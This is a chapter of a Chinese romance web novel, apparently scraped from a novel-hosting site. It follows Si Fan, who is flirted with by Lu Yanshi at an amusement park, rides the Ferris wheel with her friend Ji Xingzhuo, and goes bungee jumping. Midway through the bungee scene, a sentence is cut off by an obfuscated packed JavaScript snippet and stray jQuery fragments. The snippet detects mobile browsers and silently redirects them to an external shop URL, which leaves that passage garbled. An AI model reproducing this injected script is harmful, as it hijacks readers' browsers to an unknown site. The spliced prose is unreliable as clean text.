文趣网 > 其他小说 > 难搞[先婚后爱] > 5. 第 5 章
    他垂下眼,烟头被摁进一旁的垃圾桶上,发出“嗞”的一声。

    他抬脚往那个方向走。

    司梵早就看见他了。

    这人今天穿得休闲,白T恤外面套了件浅灰的短袖衬衫,领口松松垮垮,露出一截锁骨。

    阳光打在他身上,镀了层淡金色。

    这么看倒是很年轻,瞧着二十出头。

    身高腿长,尤其是那两条腿。

    得得有一米二,往那儿一站,比例好得过分。

    视线往上挪了挪。

    这张脸完美的挑不出毛病,五官比季星澄还精致些,却又不是那种嫩生生的好看,多了点成熟男人的荷尔蒙味道。

    她看着他一步一步走近。

    他的目光从那几个围着她的女生脸上扫过去,身后跟着昨晚那个司机,立刻上前,三两下把人全拉走了。

    李彦:“……”

    咱是特助,不是司机。

    陆晏时这才上前几步,嗓音温淡:“一个人?”

    司梵懒得看他:“不是。”

    陆晏时轻笑一声,走过去跟她肩并着肩,也学她的样子倚着墙,侧头看她:“还在为昨晚的事生气?”

    司梵侧头,明知故问:“哪一件?”

    真记仇。

    陆晏时笑得不行,眼睛弯着,笑意从喉咙里滚出来,低低沉沉的。

    笑了几声,他慢慢停下来,视线落在她脸上,不紧不慢地开口:“有男朋友吗?”

    昨天问她喜不喜欢陆二,今天直接问有没有男朋友。

    意图不要太明显。

    司梵睨着他,似笑非笑:“想追我?”

    陆晏时没否认,眼底带着笑意,声音却低了两度:“有没有机会?”

    司梵抬了抬下巴,朝某个方向示意:“看见了吗?”

    陆晏时顺着看过去。

    照片里那个男人,手里举着两个粉色的冰淇淋,正往这边走。

    司梵收回视线,侧头看着他说:“晚了。我爱他爱得死去活来。”

    陆晏时盯着那个男人看了两秒,目光又落回她脸上。

    她的眼睛很漂亮,虽然冷淡,但里头藏着野性,劲劲的。

    他分辨不出这句话的真假,心又像被挠了一下,有点涩。

    他没说话。

    司梵以为他信了,正要走,就听见他说:“没关系。”

    她脚下一顿,回过头。

    他勾着唇,笑意很淡,漆黑的眼珠深不见底,看不清情绪,嗓音却还是温温淡淡的:“我不介意插足。”

    心下一跳。

    他往她这边近了半步,垂下眼皮看她,距离一下子拉近。

    他微微俯身,声音低低的,像在跟她商量什么见不得人的事:“我们背着他,别让他发现。”

    司梵:“……”

    -

    季星澄不知从哪弄来两张VIP通票,省了排队的功夫。

    这么多年他俩有个约定俗成的规矩:每次玩刺激的项目之前,都得先坐一趟摩天轮,先吃个冰淇淋。

    季星澄管这叫仪式感,但他不知道,她更喜欢原味的。

    摩天轮缓缓升起来。

    刚才经纪人来过电话,季星澄才知道网上的事。

    他把冰淇淋递给她,脸色认真,又好像在观察她的神色:“不好意思啊,阿梵,给你添麻烦了。不知道谁把我的行程泄了,机场我捂那么严实还是被认出来了。网上的事已经找人处理了,保证不影响你的日常生活。”

    司梵接过冰淇淋,没跟他提刚才他粉丝找事那一茬,揶揄道:“你现在可是大明星了,以后可别喊我接机了,我怕被你的粉丝撕了。”

    季星澄愣了一下,苦笑一下,没接这茬。

    摩天轮升到半空,底下的人渐渐成了小点。

    他咬着冰淇淋,忽然开口:“刚才那男的,是谁?”

    司梵咬了一口冰淇淋,说:“不认识,问路的。”

    季星澄“啊”了一声,接着叹了口气:“长得一看就是人中龙凤,条件看着也不错。还以为你背着我偷偷交了男朋友,想给我个惊喜。”

    她突然想起男人那句“我不介意插足,我们背着他”,心虚地瞥了他一眼:“有病吧?我交男朋友,给你什么惊喜?”

    这语气一听就是没有。

    季星澄听了这话很高兴,侧过身翘起二郎腿,一脸痛心疾首:“我身为你的嫡长闺,看你母胎单身这么多年,急得头发都快秃了。麻烦你做做好人好事,考虑考虑我的感受。她不是一直逼着你联姻相亲吗?怎么样,有没有看上的?”

    司梵白他一眼:“你也知道我是被逼的。真要是看上了,不是正好掉进她手里?麻烦你做个人。”

    季星澄知道她不好受,厚着脸皮凑过来插科打诨:“没事,你知道我的家世、人品、长相,样样符合她的要求。实在不行我牺牲一下,跟你联姻,先应付她。”

    司梵垂下眼,没接话。

    冰淇淋在嘴里化开,樱花味的,甜得有点腻。

    过了会儿,她才轻声说:“估计到时候,我连你这个朋友都没了。”

    这话他说过很多次,每一次她都会用别的话题带过去。

    但这一次,季星澄听懂了。

    她宁愿跟家里对抗,也不愿意把他扯进她的婚姻里。

    说白了,就是不喜欢他。

    他的眸色暗了一瞬。

    摩天轮恰好转到最高点,他碰了碰她,忽然站起身,高声喊道:“快看,这是我为你打下的江山!”

    司梵早已习惯了他这副一惊一乍的德行,也跟着站了起来。

    百米高空之上,视野骤然开阔。

    整个游乐场铺展在脚下。

    过山车的轨道交错起伏,像银色的丝带缠缠绕绕。

    旋转木马的顶棚在阳光下反着光,彩绘的马匹随着音乐起起落落,传到这么高的地方,只剩下一丁点儿隐约的叮咚声。

    人群小得像蚂蚁,在花花绿绿的设施间缓慢移动。

    司梵望着那片热闹,心中的阴霾一扫而过。

    有人说,过往的经历造就了每个人不同的命运,但那都是以后的事。

    以后的事,谁也说不定。

    未来让人着迷,就着迷在它没有特定的轨迹,可以有无限可能。

    至于以后的事……

    谁知道会发生什么呢?

    -

    五十多米的高空,四面没有遮挡。

    风很大,从江面上灌过来,卷着水汽,吹得人衣袂翻飞、头发凌乱,连站都站不太稳。

    司梵站在蹦极台的边缘,背对着栏杆。

    米色麂皮外套的袖子被风吹得鼓起来,衣摆往后飘,一下一下拍着小腹。

    头发贴在脸颊上,又被吹开,吊带上的层层荷叶边翻飞着。

    她的神色一直很淡,仿佛那不是五十米的高空,而是平地。

    身后几步远,陆晏时靠在栏杆边,手插在兜里。

    风把他的衬衫吹得贴住身体,显出肩背的轮廓。

    他想起刚才她说的话:“瞧着你一本正经,没想

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17634364|206516||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    到喜欢刺激的。可惜我不好这口。”

    不好这口,却来蹦极。

    他的薄唇抿着,看着她往前迈了一步。

    蹦极台很窄,她这一步踩得不小,转眼到了台口。

    风从侧面灌过来,她单薄的背影晃了晃,又稳住,再一步,停在最边缘。

    陆晏时的心跳空了一下。

    她脚下几乎悬空,江水在五十多米下面,看着不像水,像一块深灰色的绸子,皱巴巴地慢慢流动。

    她低头看了一眼,后颈被风吹起的碎发翻飞。

    垂在身侧的手没有攥紧,也没有抖,就那样垂着。

    他忽然想上前拉住那只手。

    然后她抬起手臂张开。

    风瞬间灌满袖子,白色吊带的荷叶边被吹得撩起来,露出她一截瓷白的小腹,隐隐有腹线。

    背影单薄寂寥。

    她没有闭眼,下巴微微抬着,眼睛望着对面的江岸,嘴唇轻轻抿着,没什么表情。

    接着,她往前一倾,直直地倒了下去。

    陆晏时忽然上前一步,伸出的手僵在半空,只抓住了一缕风。他张了张手,风也从指缝间溜走了。

    她的身影在视野里急速下坠,越来越小,越来越远。

    风吹得他眯了眯眼。

    他站在台上,看着弹跳绳绷紧,又把她猛地向上拽了一下。

    她在空中荡着,晃晃悠悠,像一片落下去的叶子,被风又吹了起来。

    过了很久,直到工作人员一点一点把她往上拉,他才转过身,离开。

    -

    她和季星澄把跳楼机、过山车、大摆锤,几乎所有刺激项目都玩了一遍。

    每次结束前,最后一个项目都是蹦极。

    她喜欢从高空跳下来那一瞬间的感觉。

    大脑极度缺氧,什么都可以想,什么都可以不想。

    往往这个时候,季星澄都在下面举着手机给她拍视频。

    见她回来,他收起手机凑上前。

    风把她的头发吹到脸上,他旁若无人地把那缕头发给她别到耳后,笑着问:“爽不爽?”

    她点点头,意犹未尽。

    季星澄看她这样,活像还想再来一次,赶紧拉着人往外走:“行了行了,这种项目体验一次就够。这都两点了,小爷难得回来一次,带你去吃好的。你看你瘦的,减肥也不是这么减的,已经够瘦了,大小姐。”

    司梵被他拖着往出口走。

    不远处,一辆黑色劳斯莱斯静静停着。

    车窗降下半指宽的缝,烟灰弹落,被风吹散。

    陆晏时看着她被那个男人牵着往前走。

    男人不知说了什么,她抬手打了他一下,恼羞成怒,却没下狠手。

    他又吸了一口烟,手机呜地一声,他垂下眼,看着屏幕上刚刚发过来的照片。

    女孩从高处坠落的瞬间,头发被风扯成一条直线,脸上的表情看不清,像一只终于挣脱牵引线的风筝。

    他看了一会儿,拇指在上面摩挲片刻。

    窗外的人还在笑着闹着,争论吃什么,声音隔着车窗传进他耳朵里。

    他点了保存,把手机撂在一边,靠回椅背。

    “走吧。”

    车子缓缓驶离。

    游乐园门口,季星澄正拽着她过马路,嘴里念叨着那家店有多绝。

    她听着,忽然侧头往身后看了一眼。

    除了人头和排着队的车,没什么特别的。

    她收回视线。

    总觉得有人在盯着她看。